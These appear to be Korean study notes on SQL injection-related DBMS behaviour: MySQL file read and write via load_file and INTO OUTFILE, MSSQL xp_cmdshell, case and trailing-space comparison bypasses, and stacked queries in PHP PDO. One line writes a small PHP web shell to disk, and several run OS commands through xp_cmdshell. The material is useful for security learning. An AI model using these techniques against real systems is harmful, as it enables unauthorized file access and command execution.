my.cnf
[mysqld]
secure_file_priv= "" # 미설정, 기본 설정 값으로 설정됨
secure_file_priv= "/tmp" # 해당 디렉터리 하위 경로에만 접근 가능함
secure_file_priv= "" # mysql의 권한이 가능한 모든 경로에 접근이 가능함
secure_file_priv= NULL # 기능이 비활성화됨 기본적으로 secure_file_priv의 값은 /var/lib/mysql-files/임.# echo test1234 > /var/lib/mysql-files/test
mysql> select load_file('/var/lib/mysql-files/test');
--> test1234SELECT ... INTO var_list # column 값을 변수에 저장
SELECT ... INTO OUTFILE 'filename' # 쿼리 결과의 rows 값을 파일에 저장
SELECT ... INTO DUMPFILE 'filename' # 쿼리 결과(single row)를 파일에 저장mysql> select '<?= 'ls'?>' into outfile '/tmp/a.php';SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell'해당 쿼리의 실행 결과에서 1이 반환되면 활성화, 0이라면 비활성화 상태를 의미함EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';만약 xp_cmdshell 기능이 활성화되어 있는 경우, 위와 같이 OS 명령어를 실행할 수 있음<?php
// $input = "Admin"; #대소문자 구분
// $input = "admin "; # 공백 문자로 끝나는 문자열 비교
if($input === "admin") die("can't account lookup");
/*
DBMS
uid: admin, account_info: secret
...
*/
echo query("select account_info from users where uid='{$input}';");mysql> select 'a' = 'A';
1
> select 1 from test where 'a'='A';
1소문자와 대문자를 비교한 연산에서 참을 반환하는 것을 알 수 있음SELECT * from users where uid=''; INSERT users values(...);<?php
$db1 = new PDO('sqlite:test1.db');
$db2 = new PDO('sqlite:test2.db');
$query = 'select 1234;create table test(test int);';
$db1->query($query);
$db2->exec($query);
?>
위의 코드는 PHP의 PHP Data Objects를 사용해 다중 쿼리를 실행하는 예제코드임
PDO의 query 함수는 다중 쿼리를 지원하지 않고, exec 함수에서는 다중 쿼리를 실행함
$php test.php
$ ls -al test1.db test2.db
-rw-r--r-- 1 test test 0 Apr 29 11:21 test1.db # create table이 실행되지 않음
-rw-r--r-- 1 test test 2048 Apr 29 11:20 test2.db # create table이 실행됨
따라서 실행 결과를 보면 "test1.db"는 크기가 0임을 확인할 수 있고, "test2.db" 파일의 크기는 2048임을 볼 수 있으며, 다중 쿼리가 실행되었음을 알 수 있음